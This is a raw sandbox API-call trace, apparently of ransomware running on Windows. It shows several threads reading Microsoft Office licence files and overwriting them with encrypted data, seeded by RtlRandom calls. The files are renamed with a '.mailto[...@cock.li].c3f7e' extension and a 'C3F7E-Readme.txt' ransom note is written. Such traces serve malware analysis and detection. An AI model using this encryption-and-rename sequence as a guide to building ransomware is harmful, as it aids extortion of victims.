	[0093.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476da08
	[0093.083] wcscpy (in: _Dest=0x476da08, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.083] wcscat (in: _Dest=0x476da08, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1167
	os_tid = 0x1eb0

	[0085.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0085.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x189c
	[0085.918] GetFileSizeEx (in: hFile=0x189c, lpFileSize=0x28e3fc0c | out: lpFileSize=0x28e3fc0c*=11614) returned 1
	[0085.918] SetFilePointerEx (in: hFile=0x189c, liDistanceToMove=0x2d5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.918] ReadFile (in: hFile=0x189c, lpBuffer=0x28e3fb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28e3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x28e3fb90*, lpNumberOfBytesRead=0x28e3fb8c*=0x4, lpOverlapped=0x0) returned 1
	[0085.920] SetFilePointerEx (in: hFile=0x189c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.920] NtQuerySystemTime (in: CurrentTime=0x28e3fb6c | out: CurrentTime=0x28e3fb6c*=132251868126556803) returned 0x0
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xb948b000
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x646ebc85
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x143ecdf4
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x3f363934
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x397c3474
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x68104582
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xffa88409
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x8e393836
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xc9625348
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x4a2fb618
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x86d9e07b
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xa4534172
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xdae3316e
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xa05deb75
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xf0e6ed88
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xdfd97a48
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x59e76531
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x3a67057b
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x761da3ff
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x8cd64beb
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x1ffb3cb6
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x9e75fef
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x825e720f
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xeb578e2e
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xc6e6e19d
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x2b2fa586
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x31115d4d
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xa2e47a4b
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xb742a5f6
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0x316777a
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xb64043d2
	[0085.920] RtlRandom (in: Seed=0x28e3fb78 | out: Seed=0x28e3fb78) returned 0xed72508e
	[0085.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0085.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0085.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0085.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0085.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.929] ReadFile (in: hFile=0x189c, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x2d5e, lpNumberOfBytesRead=0x28e3fb68, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28e3fb68*=0x2d5e, lpOverlapped=0x0) returned 1
	[0085.930] SetFilePointerEx (in: hFile=0x189c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.930] WriteFile (in: hFile=0x189c, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x2d5e, lpNumberOfBytesWritten=0x28e3fb64, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28e3fb64*=0x2d5e, lpOverlapped=0x0) returned 1
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4f) returned 0x2dabdf0
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4f) returned 0x2dab870
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.932] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x133) returned 0x481e928
	[0085.932] SetFilePointerEx (in: hFile=0x189c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.932] WriteFile (in: hFile=0x189c, lpBuffer=0x481e928*, nNumberOfBytesToWrite=0x133, lpNumberOfBytesWritten=0x28e3fbcc, lpOverlapped=0x0 | out: lpBuffer=0x481e928*, lpNumberOfBytesWritten=0x28e3fbcc*=0x133, lpOverlapped=0x0) returned 1
	[0085.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0085.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab870) returned 1
	[0085.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabdf0) returned 1
	[0085.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0085.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0085.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4751f78
	[0085.934] wcscpy (in: _Dest=0x4751f78, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms"
	[0085.934] wcscat (in: _Dest=0x4751f78, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.934] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28e3fb84, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500cbe8
	[0085.934] NtSetInformationFile (FileHandle=0x189c, IoStatusBlock=0x28e3fb7c, FileInformation=0x500cbe8, Length=0x104, FileInformationClass=0xa) returned 0x0
	[0085.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0085.935] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0085.935] NtQueryInformationFile (in: FileHandle=0x189c, IoStatusBlock=0x28e3fb90, FileInformation=0x28e3fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28e3fb90, FileInformation=0x28e3fb68) returned 0x0
	[0085.935] NtSetInformationFile (FileHandle=0x189c, IoStatusBlock=0x28e3fb90, FileInformation=0x28e3fb68, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.937] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751f78) returned 1
	[0085.937] FlushFileBuffers (hFile=0x189c) returned 1
	[0093.084] CloseHandle (hObject=0x189c) returned 1
	[0093.085] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476da98
	[0093.085] wcscpy (in: _Dest=0x476da98, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.085] wcscat (in: _Dest=0x476da98, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1168
	os_tid = 0x1eb4

	[0085.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220
	[0085.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18a0
	[0085.936] GetFileSizeEx (in: hFile=0x18a0, lpFileSize=0x28ebfa58 | out: lpFileSize=0x28ebfa58*=9606) returned 1
	[0085.936] SetFilePointerEx (in: hFile=0x18a0, liDistanceToMove=0x2582, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.936] ReadFile (in: hFile=0x18a0, lpBuffer=0x28ebf9dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28ebf9d8, lpOverlapped=0x0 | out: lpBuffer=0x28ebf9dc*, lpNumberOfBytesRead=0x28ebf9d8*=0x4, lpOverlapped=0x0) returned 1
	[0085.939] SetFilePointerEx (in: hFile=0x18a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.939] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.939] NtQuerySystemTime (in: CurrentTime=0x28ebf9b8 | out: CurrentTime=0x28ebf9b8*=132251868126713626) returned 0x0
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x30b9e7e8
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x6ee0614
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x71e4fe68
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xd8b4e6c3
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x1cc4bc6c
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xfa26a99c
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xba0bd844
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x825decaf
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xe52e3609
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xdb89bd0b
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x9b6e4d28
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x805984e4
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xd10f50c2
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xc23205da
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xb9e47055
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x5a25b2dd
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x94556365
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x61e31c89
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x5ae0bbc6
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x91a6c885
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xfdb99238
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xc6dd0368
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x7649ed13
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x9412a9df
	[0085.939] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x12392366
	[0085.940] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x5663233e
	[0085.940] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0xc09b76fa
	[0085.940] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x1391516b
	[0085.940] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x3362da7a
	[0085.940] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x1c19e4af
	[0085.940] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x7e8367f8
	[0085.940] RtlRandom (in: Seed=0x28ebf9c4 | out: Seed=0x28ebf9c4) returned 0x913b6b67
	[0085.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0085.948] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.948] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0085.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.948] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0085.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0085.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.949] ReadFile (in: hFile=0x18a0, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x2586, lpNumberOfBytesRead=0x28ebf9b4, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28ebf9b4*=0x2586, lpOverlapped=0x0) returned 1
	[0085.950] SetFilePointerEx (in: hFile=0x18a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.950] WriteFile (in: hFile=0x18a0, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x2586, lpNumberOfBytesWritten=0x28ebf9b0, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28ebf9b0*=0x2586, lpOverlapped=0x0) returned 1
	[0085.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x4774c10
	[0085.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x47) returned 0x4774760
	[0085.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12b) returned 0x4ebca00
	[0085.952] SetFilePointerEx (in: hFile=0x18a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.952] WriteFile (in: hFile=0x18a0, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x12b, lpNumberOfBytesWritten=0x28ebfa18, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x28ebfa18*=0x12b, lpOverlapped=0x0) returned 1
	[0085.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0085.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774760) returned 1
	[0085.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774c10) returned 1
	[0085.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0085.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0085.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ea808
	[0085.954] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms"
	[0085.954] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.954] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28ebf9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481d3c0
	[0085.954] NtSetInformationFile (FileHandle=0x18a0, IoStatusBlock=0x28ebf9c8, FileInformation=0x481d3c0, Length=0xfc, FileInformationClass=0xa) returned 0x0
